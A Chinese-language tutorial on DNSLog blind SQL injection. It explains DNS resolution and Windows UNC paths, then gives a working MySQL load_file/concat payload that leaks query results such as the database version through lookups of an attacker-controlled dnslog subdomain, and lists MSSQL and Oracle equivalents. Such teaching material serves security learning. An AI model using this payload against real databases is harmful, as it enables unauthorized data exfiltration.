DNSLog盲注
DNSLog盲注
要想理解DNSlog盲注,首先要清楚DNS的工作原理
一、DNS 域名解析全过程
作用
DNS:把域名解析成 IP 地址
完整解析流程
1.浏览器缓存检查
当你输入网址时,浏览器会先在自己的“小本子”里找。如果你近期访问过该网站,浏览器会直接从缓存中提取 IP 地址。
2.操作系统缓存与 Hosts 文件
如果浏览器没找到,它会去问操作系统。系统会检查自己的 DNS 缓存,并查看本地的 hosts 文件。如果里面有记录,解析就此结束。
3.本地 DNS 服务器(LDNS)
如果本地没找到,请求会发给你的互联网服务提供商(ISP),即本地 DNS 服务器。这是解析过程的“总调度站”。
4.根域名服务器(Root Server)
如果 LDNS 也没有缓存,它会去问根服务器。根服务器不负责具体的域名,但它会告诉 LDNS:“我不知道 google.com,但我知道 .com 区域的管理员在哪,你去问它。”
5.顶级域名服务器(TLD Server)
LDNS 根据根服务器的指引,找到负责 .com 的顶级域名服务器。TLD 服务器会说:“我知道这个域名,但具体地址在它的授权 DNS 服务器上,去那里找。”
6.权威 DNS 服务器(Authoritative Server)
这是域名解析的终点站。LDNS 访问该域名的权威服务器(通常由云服务商或注册商提供)。权威服务器会查表并给出该域名最终对应的 IP 地址。
7.结果返回与缓存
LDNS 拿到 IP 地址后,会赶紧把它存进自己的缓存里(方便下次有人问),然后把结果扔回给你的电脑。
8.建立连接
浏览器拿到 IP 地址,终于可以向目标服务器发起 TCP 握手,开始加载网页内容了
以访问 www.baidu.com 为例:
谁在跑腿?(递归 vs 迭代)
实际上,你的电脑(客户端)通常只跑第一步:
你(客户端):只问本地 DNS 服务器 (LDNS):“喂,www.baidu.com 是多少?不知道就帮我去查,我只要结果。” (这叫递归查询)
本地 DNS 服务器:它才是那个满世界跑的“外卖员”。它去问根服务器、顶级域服务器,直到拿到结果。(这叫迭代查询)
服务器层级的精准划分
.baidu.com 服务器和 www.baidu.com 服务器,在现实中通常是同一组服务器,统称为权威 DNS 服务器。
我们可以把这个过程具象化为一个找人的过程:
根服务器 (.):它不分具体的 baidu 还是 google,它只看后缀。它会告诉你:“后缀是 .com?去问 .com 顶级域服务器。”
顶级域 (TLD) 服务器 (.com):它也不直接存 IP。它会告诉你:“baidu.com 归百度公司的服务器管,去问百度的权威 DNS。”
权威 DNS 服务器 (baidu.com):这是终点站。它查了一下自己的数据库,告诉你:“www 这个主机的 IP 是 110.242.68.4。”
核心结论
只要发生 DNS 查询,请求的“完整域名”一定会被记录
二、UNC 路径(DNSLog 利用关键)
1. 什么是 UNC(网络文件共享资源路径)
在 Windows 中,如果你想访问另一台电脑上的共享文件,你通常会输入这样的路径:
\\192.168.1.100\share\file.txt当你把 IP 地址换成域名时,比如:
\\secret.your-dnslog.com\anyfileWindows 的行为逻辑如下:
识别路径:系统看到\\开头,意识到:“哦,这不是本地文件,这是个网络共享路径。”
解析域名:系统为了找到secret.your-dnslog.com这台机器,必须先知道它的 IP。
发起 DNS 查询:系统会自动向配置的 DNS 服务器询问该域名的 IP。
2. load_file() 的“误操作”
在 MySQL 中,load_file() 函数允许你传入一个路径字符串。
如果你传的是 C:/boot.ini,它就去读本地硬盘。
如果你传的是\\my-hacker-dns.com\abc,MySQL 会调用 Windows 的底层文件系统接口去尝试打开这个“网络文件”。
重点来了: 即使这个网络路径根本不存在,或者那个服务器上压根没有 abc 这个文件,只要 MySQL 尝试去“看一眼”这个路径,Windows 就必须先解析域名。
解析一旦发起,你的 DNSLog 服务器就会留下记录。
3️. 关键点
DNSLog 利用的不是文件读取
而是“触发 DNS 解析”
注意
- 仅 Windows 支持 UNC
- Linux 无法利用该方式
三、DNSLog 盲注原理
一句话
让数据库访问攻击者域名,把数据拼进子域名中带出来
DNSlog盲注有固定结构,主要分为三部分:
SELECT load_file(concat('\\\\', [数据], '.你的域名\\a'));- 第一部分是
'\\\\',这里之所以需要四个\是因为SQL中需要转义,四个\最后转义为\\符合UNC标准 - 第二部分是
[数据],填入要外带的数据就行,比如database()、version() - 第三部分是
.域名\\a,不要漏了域名前的.,另外\\a也是为了转义为\
,其实\\a并不是必须的,但是为了稳定、符合UNC的标准所以随意编造一个不存在的目录a即可
示例
SELECT load_file(concat('\\\\',version(),'.abc.dnslog.cn\\a'));实际请求
\\5.7.26.abc.dnslog.cn\aDNS 查询
5.7.26.abc.dnslog.cnDNSLog 记录
5.7.26.abc.dnslog.cn
成功获取数据库版本
本质
数据 → 拼接到域名 → DNS 查询 → 被记录
四、核心条件
必须满足:
1:数据库能出网
- 能发 DNS 请求
2:有可用函数
| 数据库 | 方法 |
|---|---|
| MySQL | load_file |
| MSSQL | xp_dirtree / xp_cmdshell |
| Oracle | UTL_HTTP |
